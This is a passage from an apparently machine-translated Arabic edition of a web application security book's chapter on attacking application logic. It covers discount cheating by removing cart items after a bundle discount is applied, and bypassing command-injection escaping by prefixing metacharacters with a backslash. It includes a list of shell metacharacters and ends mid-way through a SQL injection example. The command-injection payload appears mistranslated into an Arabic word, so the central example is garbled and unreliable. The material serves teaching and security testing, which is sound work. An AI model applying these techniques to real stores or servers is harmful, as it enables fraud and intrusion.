‫‪.٢‬ﻗﺪ ﺗﺤﺘﺎﺝ ﺇﻟﻰ ﺗﻨﻔﻴﺬ ﻋﺪﺓ ﺧﻄﻮﺍﺕ ﻟﻬﻨﺪﺳﺔ ﺗﻐﻴﻴﺮ ﻓﻲ ﺣﺎﻟﺔ ﺍﻟﺘﻄﺒﻴﻖ ﻳﻤُﻜﻦ ﺍﺳﺘﻐﻼﻟﻪ ﻷﻏﺮﺍﺽ‬
‫ﻣﻔﻴﺪﺓ‪.‬ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ‪ ،‬ﻗﺪ ﻳﻠﺰﻡ ﺇﺟﺮﺍء ﻋﺪﺓ ﺗﺤﻮﻳﻼﺕ ﺑﻴﻦ ﺍﻟﺤﺴﺎﺑﺎﺕ ﺣﺘﻰ ﻳﺘﻢ ﺗﺠﻤﻴﻊ‬
‫ﺭﺻﻴﺪﻣﻨﺎﺳﺐ ﻳﻤُﻜﻦ ﺍﺳﺘﺨﺮﺍﺟﻪ ﻓﻌﻠﻴﺎً‪.‬‬
‫ﺍﻟﻔﺼﻞﺍﻟﺤﺎﺩﻱ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﻣﻨﻄﻖ ﺍﻟﺘﻄﺒﻴﻖ‬ ‫‪418‬‬

‫ﺍﻟﻤﺜﺎﻝ‪ :7‬ﺍﻟﻐﺶ ﻓﻲ ﺍﻟﺨﺼﻮﻣﺎﺕ ﺍﻟﻜﺒﻴﺮﺓ‬


‫ﻭﺍﺟﻪﺍﻟﻤﺆﻟﻔﻮﻥ ﻫﺬﺍ ﺍﻟﺨﻠﻞ ﺍﻟﻤﻨﻄﻘﻲ ﻓﻲ ﺗﻄﺒﻴﻖ ﺍﻟﺒﻴﻊ ﺑﺎﻟﺘﺠﺰﺉﺔ ﺍﻟﺨﺎﺹ ﺑﺒﺎﺉﻊ ﺍﻟﺒﺮﺍﻣﺞ‪.‬‬

‫ﺍﻟﻮﻇﻴﻔﺔ‬
‫ﺃﺗﺎﺡﺍﻟﺘﻄﺒﻴﻖ ﻟﻠﻤﺴﺘﺨﺪﻣﻴﻦ ﻃﻠﺐ ﻣﻨﺘﺠﺎﺕ ﺑﺮﻣﺠﻴﺔ ﻭﺍﻟﺤﺼﻮﻝ ﻋﻠﻰ ﺧﺼﻮﻣﺎﺕ ﻋﻨﺪ ﺷﺮﺍء ﺣﺰﻣﺔ‬
‫ﻣﻨﺎﺳﺒﺔ‪.‬ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ‪ ،‬ﺣﺼﻞ ﺍﻟﻤﺴﺘﺨﺪﻣﻮﻥ ﺍﻟﺬﻳﻦ ﺍﺷﺘﺮﻭﺍ ﺣﻠﻮﻻ ًﻟﻤﻜﺎﻓﺤﺔ ﺍﻟﻔﻴﺮﻭﺳﺎﺕ‪،‬‬
‫ﻭﺟﺪﺍﺭﺣﻤﺎﻳﺔ ﺷﺨﺼﻲ‪ ،‬ﻭﺑﺮﺍﻣﺞ ﻟﻤﻜﺎﻓﺤﺔ ﺍﻟﺒﺮﻳﺪ ﺍﻟﻌﺸﻮﺍﺉﻲ ﻋﻠﻰ ﺧﺼﻢ ‪ %25‬ﻋﻠﻰ ﺍﻷﺳﻌﺎﺭ ﺍﻟﻔﺮﺩﻳﺔ‪.‬‬

‫ﺍﻻﻓﺘﺮﺍﺽ‬
‫ﻋﻨﺪﻣﺎﺃﺿﺎﻑ ﻣﺴﺘﺨﺪﻡ ٌﺑﺮﻧﺎﻣﺠﺎً ﺇﻟﻰ ﺳﻠﺔ ﻣﺸﺘﺮﻳﺎﺗﻪ‪ ،‬ﺍﺳﺘﺨﺪﻡ ﺍﻟﺘﻄﺒﻴﻖ ﻗﻮﺍﻋﺪ ﻣﺨﺘﻠﻔﺔ ﻟﺘﺤﺪﻳﺪ ﻣﺎ‬
‫ﺇﺫﺍﻛﺎﻧﺖ ﺑﺎﻗﺔ ﺍﻟﻤﺸﺘﺮﻳﺎﺕ ﺍﻟﺘﻲ ﺍﺧﺘﺎﺭﻫﺎ ﺗﺴﺘﺤﻖ ﺧﺼﻤﺎً‪ .‬ﻓﻲ ﻫﺬﻩ ﺍﻟﺤﺎﻟﺔ‪ ،‬ﻋﺪُﻟِّﺖ ﺃﺳﻌﺎﺭ ﺍﻟﻤﻨﺘﺠﺎﺕ‬
‫ﺫﺍﺕﺍﻟﺼﻠﺔ ﻓﻲ ﺳﻠﺔ ﺍﻟﺘﺴﻮﻕ ﺑﻤﺎ ﻳﺘﻨﺎﺳﺐ ﻣﻊ ﺍﻟﺨﺼﻢ‪ .‬ﺍﻓﺘﺮﺽ ﺍﻟﻤﻄﻮﺭﻭﻥ ﺃﻥ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺳﻴﺸﺘﺮﻱ‬
‫ﺍﻟﺒﺎﻗﺔﺍﻟﺘﻲ ﺍﺧﺘﺎﺭﻫﺎ‪ ،‬ﻭﺑﺎﻟﺘﺎﻟﻲ ﻳﺴﺘﺤﻖ ﺍﻟﺨﺼﻢ‪.‬‬

‫ﺍﻟﻬﺠﻮﻡ‬
‫ﻣﻦﺍﻟﻮﺍﺿﺢ ﺃﻥ ﺍﻓﺘﺮﺍﺽ ﺍﻟﻤﻄﻮﺭﻳﻦ ﺧﺎﻃﺊ‪ ،‬ﺇﺫ ﻳﺘﺠﺎﻫﻞ ﺇﻣﻜﺎﻧﻴﺔ ﺇﺯﺍﻟﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﻟﻠﻤﻨﺘﺠﺎﺕ ﻣﻦ‬
‫ﺳﻠﺔﺍﻟﺘﺴﻮﻕ ﺑﻌﺪ ﺇﺿﺎﻓﺘﻬﺎ‪ .‬ﻳﻤﻜﻦ ﻟﻠﻤﺴﺘﺨﺪﻡ ﺍﻟﻤﺎﻫﺮ ﺇﺿﺎﻓﺔ ﻛﻤﻴﺎﺕ ﻛﺒﻴﺮﺓ ﻣﻦ ﻛﻞ ﻣﻨﺘﺞ ﻣﻌﺮﻭﺽ‬
‫ﻟﻠﺒﻴﻊﻣﻦ ﺍﻟﺒﺎﺉﻊ ﺇﻟﻰ ﺳﻠﺔ ﺍﻟﺘﺴﻮﻕ ﻟﻠﺤﺼﻮﻝ ﻋﻠﻰ ﺃﻛﺒﺮ ﻗﺪﺭ ﻣﻤﻜﻦ ﻣﻦ ﺍﻟﺨﺼﻮﻣﺎﺕ‪ .‬ﺑﻌﺪ ﺗﻄﺒﻴﻖ‬
‫ﺍﻟﺨﺼﻮﻣﺎﺕﻋﻠﻰ ﺍﻟﻤﻨﺘﺠﺎﺕ ﻓﻲ ﺳﻠﺔ ﺍﻟﺘﺴﻮﻕ‪ ،‬ﻳﻤﻜﻨﻪ ﺇﺯﺍﻟﺔ ﺍﻟﻤﻨﺘﺠﺎﺕ ﺍﻟﺘﻲ ﻻ ﻳﺮﻳﺪﻫﺎ ﻣﻊ ﺍﻻﺣﺘﻔﺎﻅ‬
‫ﺑﺎﻟﺨﺼﻮﻣﺎﺕﺍﻟﻤﻄﺒﻘﺔ ﻋﻠﻰ ﺍﻟﻤﻨﺘﺠﺎﺕ ﺍﻟﻤﺘﺒﻘﻴﺔ‪.‬‬

‫ﺧﻄﻮﺍﺕﺍﻻﺧﺘﺮﺍﻕ‬

‫‪.١‬ﻓﻲ ﺃﻱ ﺣﺎﻟﺔ ﻳﺘﻢ ﻓﻴﻬﺎ ﺗﻌﺪﻳﻞ ﺍﻷﺳﻌﺎﺭ ﺃﻭ ﻏﻴﺮﻫﺎ ﻣﻦ ﺍﻟﻘﻴﻢ ﺍﻟﺤﺴﺎﺳﺔ ﺑﻨﺎء ًﻋﻠﻰ ﻣﻌﺎﻳﻴﺮ ﺗﺤُﺪﺩﻫﺎ‬
‫ﺑﻴﺎﻧﺎﺕﺃﻭ ﺇﺟﺮﺍءﺍﺕ ﺧﺎﺿﻌﺔ ﻟﺴﻴﻄﺮﺓ ﺍﻟﻤﺴﺘﺨﺪﻡ‪ ،‬ﻳﺠﺐ ﺃﻭﻻ ًﻓﻬﻢ ﺍﻟﺨﻮﺍﺭﺯﻣﻴﺎﺕ ﺍﻟﺘﻲ‬
‫ﻳﺴﺘﺨﺪﻣﻬﺎﺍﻟﺘﻄﺒﻴﻖ ﻭﺍﻟﻨﻘﻄﺔ ﺍﻟﺘﻲ ﺗﺠُﺮﻯ ﻓﻴﻬﺎ ﺍﻟﺘﻌﺪﻳﻼﺕ ﺿﻤﻦ ﻣﻨﻄﻘﻪ‪ .‬ﺣﺪﺩ ﻣﺎ ﺇﺫﺍ ﻛﺎﻧﺖ‬
‫ﻫﺬﻩﺍﻟﺘﻌﺪﻳﻼﺕ ﺗﺠُﺮﻯ ﻟﻤﺮﺓ ﻭﺍﺣﺪﺓ ﻓﻘﻂ‪ ،‬ﺃﻭ ﻣﺎ ﺇﺫﺍ ﻛﺎﻧﺖ ﺗﺮُﺍﺟﻊ ﺍﺳﺘﺠﺎﺑﺔ ًﻹﺟﺮﺍءﺍﺕ ﺃﺧﺮﻯ ﻳﻘﻮﻡ‬
‫ﺑﻬﺎﺍﻟﻤﺴﺘﺨﺪﻡ‪.‬‬

‫‪.٢‬ﻓﻜﺮّ ﺑﺨﻴﺎﻝ‪ .‬ﺣﺎﻭﻝ ﺇﻳﺠﺎﺩ ﻃﺮﻳﻘﺔ ﻟﻠﺘﻼﻋﺐ ﺑﺴﻠﻮﻙ ﺍﻟﺘﻄﺒﻴﻖ ﻟﺠﻌﻠﻪ ﻻ ﻳﺘﻮﺍﻓﻖ ﻣﻊ ﺍﻟﻤﻌﺎﻳﻴﺮ‬
‫ﺍﻷﺻﻠﻴﺔﺍﻟﺘﻲ ﻭﺿﻌﻬﺎ ﻣﺼﻤﻤﻮﻩ‪ .‬ﻓﻲ ﺃﻭﺿﺢ ﺍﻟﺤﺎﻻﺕ‪ ،‬ﻛﻤﺎ ﻫﻮ ﻣﻮﺿﺢ ﺳﺎﺑﻘﺎً‪ ،‬ﻗﺪ ﻳﺘﻀﻤﻦ‬
‫ﻫﺬﺍﺑﺒﺴﺎﻃﺔ ﺇﺯﺍﻟﺔ ﺑﻌﺾ ﺍﻟﻤﻨﺘﺠﺎﺕ ﻣﻦ ﺳﻠﺔ ﺍﻟﺘﺴﻮﻕ ﺑﻌﺪ ﺗﻄﺒﻴﻖ ﺍﻟﺨﺼﻢ!‬
‫‪419‬‬ ‫ﺍﻟﻔﺼﻞﺍﻟﺤﺎﺩﻱ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﻣﻨﻄﻖ ﺍﻟﺘﻄﺒﻴﻖ‬

‫ﻣﺜﺎﻝ‪ :8‬ﺍﻟﻬﺮﻭﺏ ﻣﻦ ﺍﻟﻬﺮﻭﺏ‬


‫ﻭﺍﺟﻪﺍﻟﻤﺆﻟﻔﻮﻥ ﻫﺬﺍ ﺍﻟﺨﻠﻞ ﺍﻟﻤﻨﻄﻘﻲ ﻓﻲ ﺗﻄﺒﻴﻘﺎﺕ ﺍﻟﻮﻳﺐ ﺍﻟﻤﺨﺘﻠﻔﺔ‪ ،‬ﺑﻤﺎ ﻓﻲ ﺫﻟﻚ ﻭﺍﺟﻬﺔ ﺇﺩﺍﺭﺓ‬
‫ﺍﻟﻮﻳﺐﺍﻟﺘﻲ ﻳﺴﺘﺨﺪﻣﻬﺎ ﻣﻨﺘﺞ ﺍﻛﺘﺸﺎﻑ ﺍﻟﺘﻄﻔﻞ ﻋﻠﻰ ﺍﻟﺸﺒﻜﺔ‪.‬‬

‫ﺍﻟﻮﻇﻴﻔﺔ‬
‫ﻗﺮﺭﻣﺼﻤﻤﻮ ﺍﻟﺘﻄﺒﻴﻖ ﺗﻄﺒﻴﻖ ﻭﻇﻴﻔﺔ ﺗﺘﻀﻤﻦ ﺗﻤﺮﻳﺮ ﻣﺪُﺧﻼﺕ ﻗﺎﺑﻠﺔ ﻟﻠﺘﺤﻜﻢ ﻣﻦ ﻗﺒِﻞ ﺍﻟﻤﺴﺘﺨﺪﻡ‬
‫ﻛﻤﻌُﺎﻣﻞﻷﻣﺮ ﻧﻈﺎﻡ ﺍﻟﺘﺸﻐﻴﻞ‪ .‬ﺃﺩﺭﻙ ﻣﻄﻮﺭﻭ ﺍﻟﺘﻄﺒﻴﻖ ﺍﻟﻤﺨﺎﻃﺮ ﺍﻟﻜﺎﻣﻨﺔ ﻓﻲ ﻫﺬﺍ ﺍﻟﻨﻮﻉ ﻣﻦ ﺍﻟﻌﻤﻠﻴﺎﺕ )‬
‫ﺍﻧﻈﺮﺍﻟﻔﺼﻞ ‪ ،(9‬ﻭﻗﺮﺭﻭﺍ ﺍﻟﺘﺼﺪﻱ ﻟﻬﺎ ﺑﺘﻄﻬﻴﺮ ﺃﻱ ﺃﺣﺮﻑ ﻗﺪ ﺗﻜﻮﻥ ﺿﺎﺭﺓ ﺿﻤﻦ ﻣﺪُﺧﻼﺕ ﺍﻟﻤﺴﺘﺨﺪﻡ‪.‬‬
‫ﺳﻴﺘﻢﺗﺠﺎﻭﺯ ﺃﻱ ﻣﻤﺎ ﻳﻠﻲ ﺑﺎﺳﺘﺨﺪﺍﻡ ﺍﻟﺸﺮﻃﺔ ﺍﻟﻤﺎﺉﻠﺔ ﺍﻟﻌﻜﺴﻴﺔ‪:‬‬

‫; | & > < 'ﻣﺴﺎﻓﺔ ﻭﺳﻄﺮ ﺟﺪﻳﺪ‬


‫ﻳﺆﺩﻱﺇﻓﻼﺕ ﺍﻟﺒﻴﺎﻧﺎﺕ ﺑﻬﺬﻩ ﺍﻟﻄﺮﻳﻘﺔ ﺇﻟﻰ ﺃﻥ ﻳﻌُﺎﻣﻞ ﻣﻔُﺴﺮّ ﺃﻭﺍﻣﺮ ‪ shell‬ﺍﻷﺣﺮﻑ ﺫﺍﺕ ﺍﻟﺼﻠﺔ ﻛﺠﺰء‬
‫ﻣﻦﺍﻟﻮﺳﻴﻄﺔ ﺍﻟﻤﻤُﺮﺭﺓ ﺇﻟﻰ ﺍﻷﻣﺮ ﺍﻟﻤﺴُﺘﺪﻋﻰ‪ ،‬ﺑﺪﻻ ًﻣﻦ ﺃﻥ ﻳﻌُﺎﻣﻠﻬﺎ ﻛﺄﺣﺮﻑ ﺗﻌﺮﻳﻔﻴﺔ‪ .‬ﻳﻤُﻜﻦ ﺍﺳﺘﺨﺪﺍﻡ‬
‫ﻫﺬﻩﺍﻷﺣﺮﻑ ﺍﻟﺘﻌﺮﻳﻔﻴﺔ ﻹﺿﺎﻓﺔ ﺃﻭﺍﻣﺮ ﺃﻭ ﻭﺳﻴﻄﺎﺕ ﺇﺿﺎﻓﻴﺔ‪ ،‬ﺃﻭ ﺇﻋﺎﺩﺓ ﺗﻮﺟﻴﻪ ﺍﻟﻤﺨُﺮﺟﺎﺕ‪ ،‬ﻭﻣﺎ ﺇﻟﻰ‬
‫ﺫﻟﻚ‪.‬‬

‫ﺍﻻﻓﺘﺮﺍﺽ‬
‫ﻛﺎﻥﺍﻟﻤﻄﻮﺭﻭﻥ ﻋﻠﻰ ﻳﻘﻴﻦ ﻣﻦ ﺃﻧﻬﻢ ﺍﺑﺘﻜﺮﻭﺍ ﺩﻓﺎﻋﺎً ﻗﻮﻳﺎً ﺿﺪ ﻫﺠﻤﺎﺕ ﺣﻘﻦ ﺍﻷﻭﺍﻣﺮ‪ .‬ﻓﻜﺮّﻭﺍ ﻣﻠﻴﺎً ﻓﻲ‬
‫ﻛﻞﺷﺨﺼﻴﺔ ﻣﺤﺘﻤﻠﺔ ﻗﺪ ﺗﺴﺎﻋﺪ ﺍﻟﻤﻬﺎﺟﻢ‪ ،‬ﻭﺗﺄﻛﺪﻭﺍ ﻣﻦ ﻧﺠﺎﺗﻬﺎ ﺟﻤﻴﻌﺎً ﺑﺸﻜﻞ ﺻﺤﻴﺢ‪ ،‬ﻭﺑﺎﻟﺘﺎﻟﻲ‬
‫ﺗﺄﻣﻴﻨﻬﺎ‪.‬‬

‫ﺍﻟﻬﺠﻮﻡ‬
‫ﻟﻘﺪﻧﺴﻲ ﺍﻟﻤﻄﻮﺭﻭﻥ ﺍﻟﻬﺮﻭﺏ ﻣﻦ ﺷﺨﺼﻴﺔ ﺍﻟﻬﺮﻭﺏ ﻧﻔﺴﻬﺎ‪.‬‬
‫ﻋﺎﺩﺓ ًﻣﺎ ﻻ ﻳﻜﻮﻥ ﻟﻌﻼﻣﺔ ﺍﻟﺸﺮﻃﺔ ﺍﻟﻤﺎﺉﻠﺔ ﺍﻟﻌﻜﺴﻴﺔ ﻓﺎﺉﺪﺓ ﻣﺒﺎﺷﺮﺓ ﻟﻠﻤﻬﺎﺟﻢ ﻋﻨﺪ ﺍﺳﺘﻐﻼﻝ ﺧﻠﻞ‬
‫ﺑﺴﻴﻂﻓﻲ ﺣﻘﻦ ﺍﻷﻭﺍﻣﺮ‪ .‬ﻟﺬﻟﻚ‪ ،‬ﻟﻢ ﻳﺼﻨﻔﻬﺎ ﺍﻟﻤﻄﻮﺭﻭﻥ ﻋﻠﻰ ﺃﻧﻬﺎ ﺿﺎﺭﺓ ﻣﺤﺘﻤﻠﺔ‪ .‬ﻭﻣﻊ ﺫﻟﻚ‪ ،‬ﻓﺈﻥ‬
‫ﻓﺸﻠﻬﻢﻓﻲ ﺗﺠﺎﻭﺯﻫﺎ‪ ،‬ﻭﻓﺮّﻭﺍ ﻟﻠﻤﻬﺎﺟﻢ ﻭﺳﻴﻠﺔ ًﻟﺘﻌﻄﻴﻞ ﺁﻟﻴﺔ ﺍﻟﺘﻄﻬﻴﺮ ﺍﻟﺨﺎﺻﺔ ﺑﻬﻢ‪.‬‬

‫ﺍﻓﺘﺮﺽﺃﻥ ﺍﻟﻤﻬﺎﺟﻢ ﻳﻘﻮﻡ ﺑﺘﺰﻭﻳﺪ ﺍﻟﻮﻇﻴﻔﺔ ﺍﻟﻤﻌﺮﺿﺔ ﻟﻠﺨﻄﺮ ﺑﺎﻟﻤﺪﺧﻼﺕ ﺍﻟﺘﺎﻟﻴﺔ‪:‬‬


‫ﺣﻤﻘﻰ‬

‫ﻳﻘﻮﻡﺍﻟﺘﻄﺒﻴﻖ ﺑﺘﻄﺒﻴﻖ ﺍﻟﻬﺮﻭﺏ ﺍﻟﻤﻨﺎﺳﺐ‪ ،‬ﻛﻤﺎ ﻫﻮ ﻣﻮﺿﺢ ﺳﺎﺑﻘﺎً‪ ،‬ﻭﺑﺎﻟﺘﺎﻟﻲ ﻳﺼﺒﺢ ﺇﺩﺧﺎﻝ‬
‫ﺍﻟﻤﻬﺎﺟﻢﻫﻮ‪:‬‬
‫ﺍﻟﺤﻤﻘﻰ‬

‫ﻋﻨﺪﺗﻤﺮﻳﺮ ﻫﺬﻩ ﺍﻟﺒﻴﺎﻧﺎﺕ ﻛﻤﻌُﺎﻣﻠﺔ ﻷﻣﺮ ﻧﻈﺎﻡ ﺍﻟﺘﺸﻐﻴﻞ‪ ،‬ﻳﻌُﺎﻣﻞ ﻣﻔُﺴﺮّ ‪ shell‬ﺍﻟﺸﺮﻃﺔ ﺍﻟﻤﺎﺉﻠﺔ‬
‫ﺍﻟﻌﻜﺴﻴﺔﺍﻷﻭﻟﻰ ﻛﺤﺮﻑ ﺇﻓﻼﺕ‪ .‬ﻟﺬﻟﻚ‪ ،‬ﻳﻌُﺎﻣﻞ ﺍﻟﺸﺮﻃﺔ ﺍﻟﻤﺎﺉﻠﺔ ﺍﻟﻌﻜﺴﻴﺔ ﺍﻟﺜﺎﻧﻴﺔ ﻛﺤﺮﻑ ﺇﻓﻼﺕ‬
‫ﺣﺮﻓﻲ‪ -‬ﻟﻴﺲ ﻛﺤﺮﻑ ﺇﻓﻼﺕ‪ ،‬ﺑﻞ ﻛﺠﺰء ﻣﻦ ﺍﻟﻤﻌُﺎﻣﻠﺔ ﻧﻔﺴﻬﺎ‪ .‬ﺛﻢ ﻳﺼُﺎﺩﻑ ﻓﺎﺻﻠﺔ ﻣﻨﻘﻮﻃﺔ ﻳﺒﺪﻭ ﺃﻧﻬﺎ‬
‫ﻟﻢﺗﻔُﺮﻍّ‪ .‬ﻳﻌُﺎﻣﻠﻬﺎ ﻛﻔﺎﺻﻞ ﺃﻭﺍﻣﺮ‪ ،‬ﻭﺑﺎﻟﺘﺎﻟﻲ ﻳﻨُﻔﺬّ ﺍﻷﻣﺮ ﺍﻟﻤﺤُﻘﻦ ﺍﻟﺬﻱ ﺯﻭﺩّﻩ ﺍﻟﻤﻬُﺎﺟﻢ‪.‬‬
‫ﺍﻟﻔﺼﻞﺍﻟﺤﺎﺩﻱ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﻣﻨﻄﻖ ﺍﻟﺘﻄﺒﻴﻖ‬ ‫‪420‬‬

‫ﺧﻄﻮﺍﺕﺍﻻﺧﺘﺮﺍﻕ‬

‫ﻋﻨﺪﻣﺎﺗﻔﺤﺺ ﺗﻄﺒﻴﻘﺎً ﺑﺤﺜﺎً ﻋﻦ ﺣﻘﻦ ﺍﻷﻭﺍﻣﺮ ﻭﺍﻟﻌﻴﻮﺏ ﺍﻷﺧﺮﻯ‪ ،‬ﺑﻌﺪ ﻣﺤﺎﻭﻟﺔ ﺇﺩﺭﺍﺝ ﺍﻷﺣﺮﻑ ﺍﻟﺘﻌﺮﻳﻔﻴﺔ‬
‫ﺫﺍﺕﺍﻟﺼﻠﺔ ﻓﻲ ﺍﻟﺒﻴﺎﻧﺎﺕ ﺍﻟﺘﻲ ﺗﺘﺤﻜﻢ ﻓﻴﻬﺎ‪ ،‬ﺣﺎﻭﻝ ﺩﺍﺉﻤﺎً ﻭﺿﻊ ﺷﺮﻃﺔ ﻣﺎﺉﻠﺔ ﻟﻠﺨﻠﻒ ﻣﺒﺎﺷﺮﺓ ﻗﺒﻞ‬
‫ﻛﻞﺣﺮﻑ ﻣﻦ ﻫﺬﻩ ﺍﻷﺣﺮﻑ ﻟـ‬
‫ﺍﺧﺘﺒﺎﺭﺍﻟﺨﻠﻞ ﺍﻟﻤﻨﻄﻘﻲ ﺍﻟﻤﻮﺻﻮﻑ ﻟﻠﺘﻮ‪.‬‬

‫ﻣﻠﺤﻮﻇﺔﻳﻤﻜﻦ ﺍﻟﻌﺜﻮﺭ ﻋﻠﻰ ﻫﺬﺍ ﺍﻟﺨﻠﻞ ﻧﻔﺴﻪ ﻓﻲ ﺑﻌﺾ ﻭﺳﺎﺉﻞ ﺍﻟﺪﻓﺎﻉ ﺿﺪ ﻫﺠﻤﺎﺕ ﺍﻟﺒﺮﻣﺠﺔ‬
‫ﺍﻟﻨﺼﻴﺔﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ )ﺍﻧﻈﺮ ﺍﻟﻔﺼﻞ ‪ .(12‬ﻋﻨﺪ ﻧﺴﺦ ﻣﺪﺧﻼﺕ ﺍﻟﻤﺴﺘﺨﺪﻡ ﻣﺒﺎﺷﺮﺓ ًﺇﻟﻰ ﻗﻴﻤﺔ ﻣﺘﻐﻴﺮ‬
‫ﺳﻠﺴﻠﺔﻧﺼﻴﺔ ﻓﻲ ﺟﺰء ﻣﻦ ﺟﺎﻓﺎ ﺳﻜﺮﻳﺒﺖ‪ ،‬ﺗﻐُﻠﻒّ ﻫﺬﻩ ﺍﻟﻘﻴﻤﺔ ﺑﻴﻦ ﻋﻼﻣﺘﻲ ﺍﻗﺘﺒﺎﺱ‪ .‬ﻟﻠﺪﻓﺎﻉ ﻋﻦ‬
‫ﻧﻔﺴﻬﺎﺿﺪ ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ‪ ،‬ﺗﺴﺘﺨﺪﻡ ﺍﻟﻌﺪﻳﺪ ﻣﻦ ﺍﻟﺘﻄﺒﻴﻘﺎﺕ ﺍﻟﺸﺮﻃﺔ ﺍﻟﻤﺎﺉﻠﺔ‬
‫ﺍﻟﻌﻜﺴﻴﺔﻟﺘﺠﻨﺐ ﺃﻱ ﻋﻼﻣﺎﺕ ﺍﻗﺘﺒﺎﺱ ﺗﻈﻬﺮ ﺿﻤﻦ ﻣﺪﺧﻼﺕ ﺍﻟﻤﺴﺘﺨﺪﻡ‪ .‬ﻭﻣﻊ ﺫﻟﻚ‪ ،‬ﺇﺫﺍ ﻟﻢ ﻳﺘﻢ‬
‫ﺗﺠﻨﺐﺣﺮﻑ ﺍﻟﺸﺮﻃﺔ ﺍﻟﻤﺎﺉﻠﺔ ﺍﻟﻌﻜﺴﻴﺔ ﻧﻔﺴﻪ‪ ،‬ﻳﻤﻜﻦ ﻟﻠﻤﻬﺎﺟﻢ ﺇﺭﺳﺎﻝ\'ﻟﻠﺨﺮﻭﺝ ﻣﻦ ﺍﻟﺴﻠﺴﻠﺔ‬
‫ﻭﺍﻟﺘﺤﻜﻢﻓﻲ ﺍﻟﻨﺺ‪ .‬ﻭﺟُﺪ ﻫﺬﺍ ﺍﻟﺨﻄﺄ ﺗﺤﺪﻳﺪﺍً ﻓﻲ ﺍﻹﺻﺪﺍﺭﺍﺕ ﺍﻟﻤﺒﻜﺮﺓ ﻣﻦ ﺇﻃﺎﺭ ﻋﻤﻞ ‪Ruby On Rails‬‬
‫ﻓﻲﺍﻟﻬﺮﻭﺏ_ﺟﺎﻓﺎ ﺳﻜﺮﻳﺒﺖﻭﻇﻴﻔﺔ‪.‬‬

‫ﺍﻟﻤﺜﺎﻝ‪ :9‬ﺇﺑﻄﺎﻝ ﺻﺤﺔ ﺍﻹﺩﺧﺎﻝ‬


‫ﻭﺍﺟﻪﺍﻟﻤﺆﻟﻔﻮﻥ ﻫﺬﺍ ﺍﻟﺨﻠﻞ ﺍﻟﻤﻨﻄﻘﻲ ﻓﻲ ﺗﻄﺒﻴﻖ ﻭﻳﺐ ﻳﺴُﺘﺨﺪﻡ ﻓﻲ ﻣﻮﻗﻊ ﻟﻠﺘﺠﺎﺭﺓ ﺍﻹﻟﻜﺘﺮﻭﻧﻴﺔ‪.‬‬
‫ﻭﻳﻤﻜﻦﺍﻟﻌﺜﻮﺭ ﻋﻠﻰ ﺑﺪﺍﺉﻞ ﻟﻪ ﻓﻲ ﺍﻟﻌﺪﻳﺪ ﻣﻦ ﺍﻟﺘﻄﺒﻴﻘﺎﺕ ﺍﻷﺧﺮﻯ‪.‬‬

‫ﺍﻟﻮﻇﻴﻔﺔ‬
‫ﺍﺣﺘﻮﻯﺍﻟﺘﻄﺒﻴﻖ ﻋﻠﻰ ﻣﺠﻤﻮﻋﺔ ﻣﻦ ﺇﺟﺮﺍءﺍﺕ ﺍﻟﺘﺤﻘﻖ ﻣﻦ ﺻﺤﺔ ﺍﻟﻤﺪﺧﻼﺕ ﻟﻠﺤﻤﺎﻳﺔ ﻣﻦ ﺃﻧﻮﺍﻉ‬
‫ﻣﺨﺘﻠﻔﺔﻣﻦ ﺍﻟﻬﺠﻤﺎﺕ‪ .‬ﻣﻦ ﺑﻴﻦ ﺁﻟﻴﺎﺕ ﺍﻟﺤﻤﺎﻳﺔ ﻫﺬﻩ‪ ،‬ﻣﺮﺷﺢ ﺣﻘﻦ ‪ SQL‬ﻭﻣﺤﺪﺩ ﺍﻟﻄﻮﻝ‪.‬‬

‫ﻣﻦﺍﻟﺸﺎﺉﻊ ﺃﻥ ﺗﺤﺎﻭﻝ ﺍﻟﺘﻄﺒﻴﻘﺎﺕ ﺣﻤﺎﻳﺔ ﻧﻔﺴﻬﺎ ﻣﻦ ﺣﻘﻦ ‪ SQL‬ﻋﻦ ﻃﺮﻳﻖ ﺗﺠﺎﻭﺯ ﺃﻱ ﻋﻼﻣﺎﺕ‬
‫ﺍﻗﺘﺒﺎﺱﻣﻔﺮﺩﺓ ﺗﻈﻬﺮ ﺿﻤﻦ ﻣﺪﺧﻼﺕ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺍﻟﻨﺼﻴﺔ )ﻭﺭﻓﺾ ﺃﻱ ﻋﻼﻣﺎﺕ ﺍﻗﺘﺒﺎﺱ ﺗﻈﻬﺮ ﺿﻤﻦ‬
‫ﺍﻟﻤﺪﺧﻼﺕﺍﻟﺮﻗﻤﻴﺔ(‪ .‬ﻛﻤﺎ ﻫﻮ ﻣﻮﺿﺢ ﻓﻲ ﺍﻟﻔﺼﻞ ‪ ،9‬ﺗﺸُﻜﻞ ﻋﻼﻣﺘﺎ ﺍﻗﺘﺒﺎﺱ ﻣﻔﺮﺩﺗﺎﻥ ﻣﻌﺎً ﺗﺴﻠﺴﻼً‬
‫ﻟﻺﻓﻼﺕﻳﻤﺜﻞ ﻋﻼﻣﺔ ﺍﻗﺘﺒﺎﺱ ﻣﻔﺮﺩﺓ ﺣﺮﻓﻴﺔ ﻭﺍﺣﺪﺓ‪ ،‬ﻭﺍﻟﺘﻲ ﺗﻔﺴﺮﻫﺎ ﻗﺎﻋﺪﺓ ﺍﻟﺒﻴﺎﻧﺎﺕ ﻋﻠﻰ ﺃﻧﻬﺎ ﺑﻴﺎﻧﺎﺕ‬
‫ﺿﻤﻦﺳﻠﺴﻠﺔ ﻧﺼﻴﺔ ﻣﻘﺘﺒﺴﺔ ﺑﺪﻻ ًﻣﻦ ﻋﻼﻣﺔ ﻧﻬﺎﻳﺔ ﺍﻟﺴﻠﺴﻠﺔ‪ .‬ﻟﺬﻟﻚ‪ ،‬ﻳﻌﺘﻘﺪ ﺍﻟﻌﺪﻳﺪ ﻣﻦ ﺍﻟﻤﻄﻮﺭﻳﻦ‬
